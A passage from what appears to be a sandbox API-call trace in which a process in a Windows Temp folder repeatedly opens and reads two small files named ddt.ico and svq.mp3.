(lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.639] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.639] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.639] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.639] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.639] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.639] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.639] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.639] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.639] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.639] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.640] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.640] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.640] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.640] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.640] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.640] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.640] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.640] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.641] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.641] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.641] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.641] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.641] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.641] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.641] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.641] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.641] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.641] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.642] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.642] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.642] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.642] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.642] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.642] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.642] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.642] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.642] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.642] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.643] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.643] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.643] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.643] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.643] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.643] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.643] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.643] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.643] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.643] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.643] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.644] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.644] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.644] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.644] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.644] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.644] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.644] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.644] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.645] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.645] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.645] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.645] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.645] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.645] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.645] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.645] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.645] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.645] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.646] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.646] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.646] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.646] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.646] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.646] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.646] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.646] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.646] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.646] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.647] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.647] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.647] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.647] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.647] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.647] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.647] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.647] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.647] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.647] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.647] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.648] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.648] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.648] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.648] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.648] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.648] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.648] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.648] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.649] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.649] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: 